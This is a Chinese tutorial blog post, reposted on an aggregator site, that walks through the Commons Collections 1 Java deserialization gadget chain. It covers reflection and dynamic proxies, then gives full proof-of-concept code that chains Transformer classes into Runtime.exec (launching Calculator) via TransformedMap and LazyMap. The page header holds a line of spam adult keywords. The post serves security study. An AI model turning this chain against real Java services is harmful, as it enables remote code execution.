日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

CommonCollection1反序列化链学习

發(fā)布時(shí)間:2023/12/9 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CommonCollection1反序列化链学习 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Python微信訂餐小程序課程視頻

https://edu.csdn.net/course/detail/36074

Python實(shí)戰(zhàn)量化交易理財(cái)系統(tǒng)

https://edu.csdn.net/course/detail/35475

CommonsCollection1

1、前置知識(shí)

1.1、反射基礎(chǔ)知識(shí)

1.1.1、 對(duì)象與類的基礎(chǔ)知識(shí)
類(class),對(duì)象(object) 對(duì)象是類的實(shí)例化,中華田園犬(object)是狗(class)的實(shí)例化 類是對(duì)象的抽象化,狗(class)是中華田園犬(object)抽象化
1.1.2、反射獲取對(duì)象過(guò)程

1、我們可以通過(guò)以下三種方法獲取Class對(duì)象類型

Class classType = String.class; Class classType = new String().getClass();/*new String()是一個(gè)對(duì)象*/ Class classType = Class.forName("java.lang.String");

2、在Class類中包含著很多方法函數(shù),其中在本章節(jié)使用最頻繁的就是

getName():獲得類的完整名字。 getFields():獲得類的public類型的屬性。getDeclaredFields():獲得類的所有屬性。getMethods():獲得類的public類型的方法。getDeclaredMethods():獲得類的所有方法。getMethod(String name, Class[] parameterTypes):獲得類的特定方法,name參數(shù)指定方法的名字,parameterTypes參數(shù)指定方法的參數(shù)類型。getConstrutors():獲得類的public類型的構(gòu)造方法。getConstrutor(Class[] parameterTypes):獲得類的特定構(gòu)造方法,parameterTypes參數(shù)指定構(gòu)造方法的參數(shù)類型。newInstance():通過(guò)類的不帶參數(shù)的構(gòu)造方法創(chuàng)建這個(gè)類的一個(gè)對(duì)象。

2、通過(guò)默認(rèn)構(gòu)造方法創(chuàng)建一個(gè)新的對(duì)象,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對(duì)象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對(duì)象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無(wú)參數(shù)的構(gòu)造方法)

Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});

3、獲得對(duì)象的所有屬性,即通過(guò)Class類的getDeclaredFields()方法返回類的所有屬性,包括public、protected、default和private訪問(wèn)級(jí)別的屬性

Field fields[]=classType.getDeclaredFields();

4、獲得每個(gè)屬性相應(yīng)的get/set方法,然后執(zhí)行這些方法,把原來(lái)的對(duì)象屬性拷貝到新的對(duì)象中。

這里我們可以寫一個(gè)InvokeTester的類,然后運(yùn)用反射機(jī)制調(diào)用一個(gè)InvokeTester對(duì)象的add()方法(自定義方法),如add()方法的兩個(gè)參數(shù)為int類型,那么獲取表示add()方法的Method對(duì)象代碼如下:

Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

5、反射調(diào)用addMethod方法

//獲得和屬性對(duì)應(yīng)的getXXX()方法 Method getMethod=classType.getMethod(getMethodName,new Class[]{}); //獲得和屬性對(duì)應(yīng)的setXXX()方法 Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()}); //具體實(shí)施(第四點(diǎn)描述) Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});//調(diào)用原對(duì)象的getXXX()方法 Object value=getMethod.invoke(object,new Object[]{}); System.out.println(fieldName+":"+value); //調(diào)用拷貝對(duì)象的setXXX()方法 setMethod.invoke(objectCopy,new Object[]{value}); addMethod.invoke()

6、具體一個(gè)小例子

首先有個(gè)Users類,他有屬性名字(name)、年齡(age)和會(huì)算加法()

public class Users {String name;int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public int add(int num1, int num2){int addnum= num1+num2;return addnum;}}

那么我們反射獲取他的某一個(gè)user對(duì)象的名字、年齡和加法

第一反射獲取多參數(shù)的方法add

import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception {//反射獲取類對(duì)象類型,這里獲取的是Users類對(duì)象類型Class users = Class.forName("Users");//類對(duì)象類型實(shí)例化,,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對(duì)象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對(duì)象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無(wú)參數(shù)的構(gòu)造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取指定的類對(duì)象類型的add方法,add方法需要兩個(gè)參數(shù),參數(shù)類型為int型,getMethod類型的第二個(gè)參數(shù)必須是Class對(duì)象類型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射調(diào)用(invoke)user對(duì)象,并且傳入add方法的倆個(gè)參數(shù)值,invoke方法的參數(shù)必須是object對(duì)象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);} }

反射調(diào)用單參數(shù)的方法setName和無(wú)參數(shù)方法getName

import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception { /*//反射獲取類對(duì)象類型,這里獲取的是Users類對(duì)象類型Class users = Class.forName("Users");//類對(duì)象類型實(shí)例化,,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對(duì)象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對(duì)象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無(wú)參數(shù)的構(gòu)造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取指定的類對(duì)象類型的add方法,add方法需要兩個(gè)參數(shù),參數(shù)類型為int型,getMethod類型的第二個(gè)參數(shù)必須是Class對(duì)象類型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射調(diào)用(invoke)user對(duì)象,并且傳入add方法的倆個(gè)參數(shù)值,invoke方法的參數(shù)必須是object對(duì)象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);*/Class users = Class.forName("Users");Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取Users類的setName()方法 ,需要傳入setName的所需的參數(shù)類型,此處為String.class類型Method setName = users.getMethod("setName", new Class[]{String.class});//反射設(shè)置zhangsan對(duì)象實(shí)例的名字為張三setName.invoke(zhangsan,new Object[]{"張三"});//反射獲取Users類的getName()方法,需要傳入getName的參數(shù)類型,此處為空Method getName = users.getMethod("getName", new Class[]{});//反射獲取zhangsan對(duì)象實(shí)例的名字Object Name = getName.invoke(zhangsan);System.out.println((String) Name);} }
1.1.3、反射的基本用法

反射又有很多瑣碎的點(diǎn),這里只講它的基本用法如果當(dāng)前擁有一個(gè)對(duì)象的話,那么可以動(dòng)態(tài)的調(diào)用該對(duì)象的所有方法

// Step1 獲取Class對(duì)象 Class cls = obj.getClass(); // Step2 獲取想要的方法對(duì)象 Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type}); // Step3 調(diào)用方法 mth.invoke(obj,new Object[]{arg1,arg2})

這里注意的是getMethod的第二個(gè)參數(shù)為Class數(shù)組,Class的概念我們之前也提到過(guò)。

1.2、動(dòng)態(tài)代理知識(shí)

動(dòng)態(tài)代理需要理解反射包的三個(gè)類

反射包 java.lang.reflect 的三個(gè)類:InvocationHandler,Method,Proxy

InvocationHandler

這個(gè)類其實(shí)就一個(gè)方法就是invoke方法,該方法用代理商在不改變代理對(duì)象的情況,需要添加的功能

參數(shù):

Object proxy:jdk的代理類,無(wú)需賦值

Method method:代理對(duì)象的方法,jdk提供的Method的對(duì)象

Object[] args:代理對(duì)象的方法執(zhí)行的參數(shù)

package java.lang.reflect;public interface InvocationHandler {public Object invoke(Object proxy, Method method, Object[] args)throws Throwable; }

Method

Method方法主要在InvocationHandler的invoke方法中實(shí)現(xiàn),表示執(zhí)行代理對(duì)象的方法

Method.invoke(目標(biāo)的對(duì)象,方法的參數(shù))

Proxy

newProxyInstance的方法的三個(gè)參數(shù)為

ClassLoader loader:類加載器,負(fù)責(zé)向內(nèi)存中加載對(duì)象的。使用反射獲取的

Class [] interfaces :目標(biāo)對(duì)象實(shí)現(xiàn)的接口,也是反射獲取的

InvocationHandler h:我們自己寫的,代理需要完成的功能

舉個(gè)具體里的例子(Usb)

首先實(shí)現(xiàn)一個(gè)統(tǒng)一的買usb的接口,里面有一個(gè)賣usb的方法

public interface Usbsell {float sell(int acount); }

金士頓廠家要賣usb,所以繼承這個(gè)接口,他買85元

package com.akkacloud.factory;import com.akkacloud.service.Usbsell;public class UsbKingFactor implements Usbsell {@Overridepublic float sell(int acount) {return 85.0f;} }

我們是一個(gè)商店,去買我們要賺差價(jià)

第一種寫法,直接在主函數(shù)中創(chuàng)建我們的InvocationHandler接口

package com.akkacloud;import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell;import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//創(chuàng)建代理對(duì)象,使用proxy//創(chuàng)建目標(biāo)類對(duì)象,就是廠家UsbKingFactor usbKingFactor = new UsbKingFactor();//創(chuàng)建代理對(duì)象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object res = method.invoke(usbKingFactor, args);res= (float)res+35;return res;}});//通過(guò)代理對(duì)象執(zhí)行sellfloat price = proxy.sell(1);System.out.println("通過(guò)代理的價(jià)格:"+price);} }

第二種我們先實(shí)現(xiàn)InvocationHandler接口,再寫主函數(shù)

首先我們要實(shí)現(xiàn)我們的InvocationHandler接口,我們實(shí)施加價(jià)25塊

package com.akkacloud.handler;import java.io.File; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;public class MysellHandler implements InvocationHandler{private Object target;public MysellHandler(Object target) {this.target = target;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//想廠家訂購(gòu)1個(gè)商品 // float price = factory.sell(1);Object res = method.invoke(target, args);//中間商賺差價(jià)//price = price+25;if(res!=null){float price = (float) res;price=price+25;res =price;}return res;} }

然后實(shí)現(xiàn)我們的商店代碼

package com.akkacloud;import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell;import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//創(chuàng)建代理對(duì)象,使用proxy//創(chuàng)建目標(biāo)類對(duì)象,就是廠家UsbKingFactor usbKingFactor = new UsbKingFactor();//創(chuàng)建invocationHandler對(duì)象,傳入代理商的廠家為usbkingMysellHandler mysellHandler = new MysellHandler(usbKingFactor);//創(chuàng)建代理對(duì)象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(),mysellHandler);//通過(guò)代理對(duì)象執(zhí)行sellfloat price = proxy.sell(1);System.out.println("通過(guò)代理的價(jià)格:"+price);} }

執(zhí)行結(jié)果

1.3、調(diào)試所需類相關(guān)的知識(shí)和作用

Transformer

transformer的是Commons Collections包中提供的一個(gè)接口

package org.apache.commons.collections;public interface Transformer {Object transform(Object var1); }
ConstantTransformer

ConstantTransformer是Transformer的實(shí)現(xiàn)類

構(gòu)造方法中實(shí)現(xiàn)對(duì)iConstant賦值,transform方法用于獲取iConstant的值

public class ConstantTransformer implements Transformer, Serializable {static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL\_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;} }
InvokerTransformer

InvokerTransformer也是Transform的實(shí)現(xiàn)類

構(gòu)造方法里傳入Strin iMethodName(字符串類型的函數(shù)名)、Class[] iParamTypes(函數(shù)的參數(shù)類型))、Object[] iArgs(函數(shù)的參數(shù)列表)

transform方法是用Java反射機(jī)制來(lái)進(jìn)行執(zhí)行任意代碼

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args; }public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}} }
ChainedTransformer

ChainedTransformer也是Transformer的實(shí)現(xiàn)類

構(gòu)造方法是把數(shù)組類型的Transformer[] 賦值給iTransformers

transform方法是通過(guò)傳入Trasnformer[]數(shù)組既iTransformers,對(duì)傳入的數(shù)組進(jìn)行遍歷并且調(diào)用數(shù)組對(duì)象的transform方法。

Map

Transform來(lái)執(zhí)行命令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個(gè)類,實(shí)現(xiàn)類有很多,比如LazyMap、TransformedMap等,這些類都有一個(gè)decorate()方法,用于將上述的Transformer實(shí)現(xiàn)類綁定到Map上,當(dāng)對(duì)Map進(jìn)行一些操作時(shí),會(huì)自動(dòng)觸發(fā)Transformer實(shí)現(xiàn)類的tranform()方法,不同的Map類型有不同的觸發(fā)規(guī)則

TransformedMap

Transformer的實(shí)現(xiàn)類分別綁定到map的key和value上,當(dāng)map的key或value被修改時(shí),會(huì)調(diào)用對(duì)應(yīng)Transformer實(shí)現(xiàn)類的transform()方法。

通過(guò)decorate方法去調(diào)用構(gòu)造方法,把map、keyTransformer、valueTransformer傳入,當(dāng)調(diào)用put的方法修改key或者value時(shí),就會(huì)調(diào)用transform()

我們可以把chainedtransformer綁定到一個(gè)TransformedMap上,當(dāng)此map的key或value發(fā)生改變時(shí),就會(huì)自動(dòng)觸發(fā)chainedtransformer的transform()方法

//構(gòu)造方法 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; } ...... //改變key時(shí)、調(diào)用transform protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } ...... //改變value是,調(diào)用transform protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } .....//put方法用來(lái)修改 public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value); }
LazyMap

lazyMap也是Map的實(shí)現(xiàn)類

//構(gòu)造方法 public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory); }//對(duì)傳入的map和Transformer實(shí)例化 protected LazyMap(Map map, Factory factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = FactoryTransformer.getInstance(factory);} } //調(diào)用get時(shí),當(dāng)key不存在時(shí),調(diào)用Transformer實(shí)現(xiàn)類的transform()方法 public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);} }

當(dāng)調(diào)用tmpmap.get(key)的key不存在時(shí),會(huì)調(diào)用TestTransformer的transform()方法

這些不同的Map類型之間的差異也正是CommonsColletions有那么多gadget的原因之一

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

2、漏洞復(fù)現(xiàn)

由于前面分析了CC1的利用鏈,但是發(fā)現(xiàn)在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以后,對(duì)AnnotationInvocationHandler的readobject進(jìn)行了改寫。導(dǎo)致高版本中利用鏈無(wú)法使用

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//觸發(fā)漏洞Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串東西,其實(shí)就是獲取這個(gè)map的第一個(gè)鍵值對(duì)(value,value);然后轉(zhuǎn)化成Map.Entry形式,這是map的鍵值對(duì)數(shù)據(jù)格式onlyElement.setValue("foobar");} }

3、漏洞分析

transformers

先分析第一段

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) };//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類 Transformer transformerChain = new ChainedTransformer(transformers);

首先new一個(gè)Transformer數(shù)組

Transformer[] transformers = new Transformer[] {}

然后通過(guò)ChainedTransformer類的transform()方法,循環(huán)獲取反射獲取指定的命令執(zhí)行函數(shù)函數(shù)

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers; }public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object; }

首先看第一個(gè)類ConstantTransformer運(yùn)行transform()方法后,返回的是Runtime.Class

我們通過(guò)查看ConstantTransformer方法可知,Runtime.Class傳入后通過(guò)構(gòu)造方法賦值給iConstant,然后return這個(gè)iConstant賦值給object

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn; }public Object transform(Object input) {return this.iConstant; }

我們看第二類InvokerTransformer,其實(shí)這個(gè)類翻譯過(guò)來(lái)就是反射轉(zhuǎn)換,把Runtime.Class作為參數(shù)值傳給InvokerTransformer的transform方法,就是下面的式子

object=InvokerTransformer.transform(Runtime.Class)

然后我們進(jìn)入到InvokerTransformer.transform()方法查看,確實(shí)傳入的是Runtime().Class,

首先我們來(lái)繼續(xù)看InvokerTransformer的構(gòu)造方法,第一個(gè)參數(shù)的意思是函數(shù)名,第二個(gè)參數(shù)的意思是參數(shù)類型,第三個(gè)是參數(shù)

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args; }

再看InvokerTransformer的transform方法,其實(shí)就是反射調(diào)用構(gòu)造方法中賦值的函數(shù)

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}

我們回到我們剛才調(diào)試的點(diǎn),這三個(gè)參數(shù)分別是如下,函數(shù)名是getMethod,

getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射調(diào)用后就是Runtime.getRuntime(),繼續(xù)傳入object

第三次傳入的是object是Runtime.getRuntime(),函數(shù)名是invoke,參數(shù)值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由于Runtime是單例模式,需要執(zhí)行他的getRuntime方法來(lái)獲取Runtime類的實(shí)例化對(duì)象,所以這里用Invoke反射執(zhí)行了getRuntime所以就獲得了Runtime的實(shí)例對(duì)象

第四次傳入的object是Runtime的實(shí)例化對(duì)象,函數(shù)名是exec(),參數(shù)是"open /System/Application/Calculator.app",就是執(zhí)行了Runtime.getRuntime().exec().

通過(guò)ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通過(guò)反射執(zhí)行invoke才能去調(diào)用getRuntime方法,這樣得到一個(gè)Runtime對(duì)象,然后再去調(diào)用Runtime對(duì)象的exec方法去達(dá)到命令執(zhí)行。

Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");

上面那么多其實(shí)最簡(jiǎn)單的方法是自己先寫一遍反射執(zhí)行Runtime的Rce,如:

Class runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod獲取getRuntime方法,參數(shù)為空 Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射執(zhí)行g(shù)etRuntime方法獲取Runtime實(shí)例,invoke方法需要兩個(gè)參數(shù),執(zhí)行的對(duì)象和執(zhí)行的的參數(shù),因?yàn)間etRuntime為static方法,反射調(diào)用時(shí)執(zhí)行的對(duì)象直接傳null就行。Method exec = runtimeClass.getMethod("exec", String.class);//反射獲取Runtime的exec方法 exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射執(zhí)行

然后我們?cè)偻ㄟ^(guò)ConstantTransformer和InvokerTransformer的transform方法的規(guī)則實(shí)現(xiàn)一下就很好理解了

Object runtime= new ConstantTransformer(Runtime.class).transform(null); Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

可以看出都是調(diào)用transform方法,且輸入的參數(shù)為上一個(gè)參數(shù)的結(jié)果

加入ConstantTransformer去循環(huán)調(diào)用transform

Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) };ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null);

第一段ChainedTransformer就是為了執(zhí)行這段命令,但是我們想在需要去ChainedTransformer.transform方法

TransformedMap類

前置知識(shí)我們說(shuō)過(guò),通過(guò)調(diào)用TransformedMap.decorate(),再調(diào)用TransformedMap的構(gòu)造方法賦值參數(shù),參數(shù)分別是Map、更換的key值、更換的value值,我們通過(guò)put方法調(diào)用transformKey、transformValue方法來(lái)更換Map的key和value,而這時(shí)候最重要的是transformValue、transformKey方法調(diào)用了transform方法,也就是說(shuō)我們把ChainedTransformer傳給decorate方法的valueTransformer,當(dāng)調(diào)用put方法時(shí)就可以調(diào)用ChainedTransformer的transform方法了。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer); }protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; } protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object); }protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value); }

漏洞利用

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("1","1");// //觸發(fā)漏洞 // Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); // //outerMap后一串東西,其實(shí)就是獲取這個(gè)map的第一個(gè)鍵值對(duì)(value,value);然后轉(zhuǎn)化成Map.Entry形式,這是map的鍵值對(duì)數(shù)據(jù)格式 // onlyElement.setValue("foobar");} }

在這里我們是使用了代碼直接的讓他去彈出一個(gè)計(jì)算器,但是在實(shí)際運(yùn)用中,需要將該代碼轉(zhuǎn)換為序列化流。在實(shí)際運(yùn)用中需要我們需要找到?個(gè)類,它在反序列化的readObject讀取我們序列化的流文件。在分析該鏈的時(shí)候也比較亂,下篇文章重新來(lái)完整的調(diào)試一下。

LazyMap

在分析前先來(lái)看看LazyMap這個(gè)類,這個(gè)類和TransformedMap類似。都是AbstractMapDecorator繼承抽象類是Apache Commons Collections提供的一個(gè)類。在兩個(gè)類不同點(diǎn)在于TransformedMap是在put方法去觸發(fā)transform方法,而LazyMap是在get方法去調(diào)用方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {private static final long serialVersionUID = 7990956402564206740L;protected final Transformer factory;public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = factory;}}public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}} }

當(dāng)調(diào)用get(key)的key不存在時(shí),會(huì)調(diào)用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法來(lái)觸發(fā)命令執(zhí)行試試

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map tmpmap = LazyMap.decorate(innerMap, transformerChain);tmpmap.get("1");} }

AnnotationInvocationHandler

AnnotationInvocationHandler該類是用來(lái)處理注解的。

查看AnnotationInvocationHandler類的構(gòu)造函數(shù)有兩個(gè)參數(shù),第?個(gè)參數(shù)是?個(gè)Annotation類類型參數(shù),第二個(gè)是map類型參數(shù)

Annotation類類型參數(shù)傳給var1map類型傳給類var1==》TransformedMap.decorate(innerMap,transformerChain)

AnnotationInvocationHandler(Class <span class="hljs-keyword"extends Annotation> var1, Map var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");} }

利用鏈主要用到了AnnotationInvocationHandler的invoke方法和readObject方法

invoke方法主要為三個(gè)參數(shù)(對(duì)象類型,方法類型,對(duì)象數(shù)組)

